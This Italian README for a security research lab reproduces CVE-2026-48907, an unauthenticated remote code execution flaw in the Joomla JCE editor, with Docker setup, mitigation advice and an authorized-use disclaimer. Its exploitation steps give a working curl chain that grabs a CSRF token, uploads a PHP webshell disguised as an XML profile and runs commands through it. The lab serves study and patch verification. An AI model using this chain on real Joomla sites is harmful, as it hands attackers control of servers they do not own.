CVE-2026-48907 — Joomla JCE Laboratorio RCE non autenticato

PSsec Laboratorio educativo di ricerca sulla sicurezza per CVE-2026-48907.

Panoramica

CVE-2026-48907 è una vulnerabilità critica (CVSS 10.0) di esecuzione di codice remoto non autenticata in JCE (Joomla Content Editor), l'estensione editor più installata per Joomla, che colpisce tutte le versioni ≤ 2.9.99.4.

L'endpoint profiles.import accetta caricamenti di file senza autenticazione. Un attaccante può caricare un file PHP dannoso mascherato da profilo XML, che viene scritto nella directory tmp/ del server ed eseguito direttamente via HTTP — nessuna credenziale richiesta.

Configurazione del Laboratorio

Prerequisiti

• Docker + Docker Compose
• Kali Linux (o qualsiasi host Linux)

1. Avvia l'ambiente vulnerabile

docker compose up -d

2. Completa l'installer di Joomla

Apri http://localhost:8080 nel tuo browser e completa la procedura guidata usando queste credenziali:

3. Installa l'estensione JCE vulnerabile

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

Poi in Joomla Admin → Sistema → Estensioni → Installa → carica il file ZIP.

Sfruttamento

4. Estrai il token CSRF e il cookie di sessione

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. Carica la webshell PHP tramite importazione profilo non autenticata

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. Verifica l'esecuzione di codice remoto

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

Output previsto: uid=33(www-data) gid=33(www-data)

File

Mitigazione

Aggiorna JCE alla versione 2.9.99.5 o successiva immediatamente.

Avviso ufficiale del venditore e patch gratuita per versioni precedenti di Joomla: Aggiornamento di Sicurezza JCE — joomlacontenteditor.net

Crediti

• Riferimento per gli strumenti di exploit: JoomlaSniper di ynsmroztas
• Vulnerabilità scoperta in natura da Phil Taylor di mySites.guru
• Inserimento in CISA KEV: 16 giugno 2026

Disclaimer

Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata.

I test devono essere eseguiti solo contro sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione scritta. L'uso non autorizzato di questo materiale contro sistemi di cui non si è proprietari è illegale e non etico. Gli autori e Pansophical OU non si assumono alcuna responsabilità per l'uso improprio di questo contenuto.

Questo ambiente di laboratorio è intenzionalmente vulnerabile. Non esporlo a Internet o a qualsiasi rete non fidata.

Di PSsec